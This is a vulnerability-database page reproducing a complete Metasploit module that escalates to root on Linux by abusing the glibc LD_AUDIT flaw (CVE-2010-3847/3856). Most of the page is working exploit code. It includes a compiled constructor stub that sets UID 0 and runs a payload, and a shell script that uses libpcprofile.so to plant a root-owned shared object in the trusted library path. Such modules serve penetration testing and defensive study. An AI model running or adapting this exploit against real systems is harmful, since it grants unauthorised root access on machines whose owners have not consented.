Lucene search
K

glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation

🗓️ 10 Feb 2018 00:00:00Reported by Marco IvaldiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 65 Views

This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. It allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/local/linux'  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Local::Linux  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems by abusing  
a vulnerability in the GNU C Library (glibc) dynamic linker.  
  
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not  
properly restrict use of the LD_AUDIT environment variable when loading  
setuid executables. This allows loading arbitrary shared objects from  
the trusted library search path with the privileges of the suid user.  
  
This module uses LD_AUDIT to load the libpcprofile.so shared object,  
distributed with some versions of glibc, and leverages arbitrary file  
creation functionality in the library constructor to write a root-owned  
world-writable file to a system trusted search path (usually /lib).  
The file is then overwritten with a shared object then loaded with  
LD_AUDIT resulting in arbitrary code execution.  
  
This module has been tested successfully on glibc version 2.11.1 on  
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.  
  
RHEL 5 is reportedly affected, but untested. Some glibc distributions  
do not contain the libpcprofile.so library required for successful  
exploitation.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy', # Discovery and exploit  
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit  
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits  
'Todor Donev', # libmemusage.so exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Oct 18 2010',  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'References' =>  
[  
[ 'CVE', '2010-3847' ],  
[ 'CVE', '2010-3856' ],  
[ 'BID', '44154' ],  
[ 'BID', '44347' ],  
[ 'EDB', '15274' ],  
[ 'EDB', '15304' ],  
[ 'EDB', '18105' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],  
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],  
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],  
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],  
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],  
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]  
]  
))  
register_options(  
[  
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def suid_exe_path  
datastore['SUID_EXECUTABLE']  
end  
  
def check  
glibc_banner = cmd_exec 'ldd --version'  
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first  
if glibc_version.to_s.eql? ''  
vprint_error 'Could not determine the GNU C library version'  
return CheckCode::Safe  
elsif glibc_version >= Gem::Version.new('2.12.2') ||  
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))  
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "GNU C Library version #{glibc_version} is vulnerable"  
  
lib = 'libpcprofile.so'  
@lib_dir = nil  
vprint_status "Checking for #{lib} in system search paths"  
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"  
search_paths.split('path=')[1..-1].join.split(':').each do |path|  
lib_dir = path.to_s.strip  
next if lib_dir.eql? ''  
libs = cmd_exec "ls '#{lib_dir}'"  
if libs.include? lib  
@lib_dir = lib_dir  
break  
end  
end  
if @lib_dir.nil?  
vprint_error "Could not find #{lib}"  
return CheckCode::Safe  
end  
vprint_good "Found #{lib} in #{@lib_dir}"  
  
unless setuid? suid_exe_path  
vprint_error "#{suid_exe_path} is not setuid"  
return CheckCode::Detected  
end  
vprint_good "#{suid_exe_path} is setuid"  
  
CheckCode::Appears  
end  
  
def upload_and_chmodx(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
cmd_exec "chmod +x '#{path}'"  
register_file_for_cleanup path  
end  
  
def on_new_session(client)  
# remove root owned shared object from system load path  
if client.type.eql? 'meterpreter'  
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'  
client.fs.file.rm @so_path  
else  
client.shell_command_token "rm #{@so_path}"  
end  
end  
  
def exploit  
check_status = check  
  
if check_status == CheckCode::Appears  
print_good 'The target appears to be vulnerable'  
elsif check_status == CheckCode::Detected  
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"  
else  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"  
payload_path = "#{base_dir}/#{payload_name}"  
  
# Set target  
uname = cmd_exec 'uname -m'  
vprint_status "System architecture is #{uname}"  
if target.name.eql? 'Automatic'  
case uname  
when 'x86_64'  
my_target = targets[2]  
when /x86/, /i\d86/  
my_target = targets[1]  
else  
fail_with Failure::NoTarget, 'Unable to automatically select a target'  
end  
else  
my_target = target  
end  
print_status "Using target: #{my_target.name}"  
  
cpu = nil  
case my_target['Arch']  
when ARCH_X86  
cpu = Metasm::Ia32.new  
when ARCH_X64  
cpu = Metasm::X86_64.new  
else  
fail_with Failure::NoTarget, 'Target is not compatible'  
end  
  
# Compile shared object  
so_stub = %|  
extern int setuid(int);  
extern int setgid(int);  
extern int system(const char *__s);  
  
void init(void) __attribute__((constructor));  
  
void __attribute__((constructor)) init() {  
setuid(0);  
setgid(0);  
system("#{payload_path}");  
}  
|  
  
begin  
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)  
rescue  
print_error "Metasm encoding failed: #{$ERROR_INFO}"  
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"  
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"  
fail_with Failure::Unknown, 'Metasm encoding failed'  
end  
  
# Upload shared object  
so_name = ".#{rand_text_alphanumeric rand(5..10)}"  
so_path = "#{base_dir}/#{so_name}"  
upload_and_chmodx so_path, so  
  
# Upload exploit  
@so_path = "#{@lib_dir}/#{so_name}.so"  
exp = %(  
umask 0  
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null  
umask 0022  
cat #{so_path} > #{@so_path}  
LD_AUDIT="#{so_name}.so" #{suid_exe_path}  
echo > #{@so_path}  
)  
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"  
exp_path = "#{base_dir}/#{exp_name}"  
upload_and_chmodx exp_path, exp  
  
# Upload payload  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit...'  
# The echo at the end of the command is required  
# else the original session may die  
output = cmd_exec "#{exp_path}& echo "  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation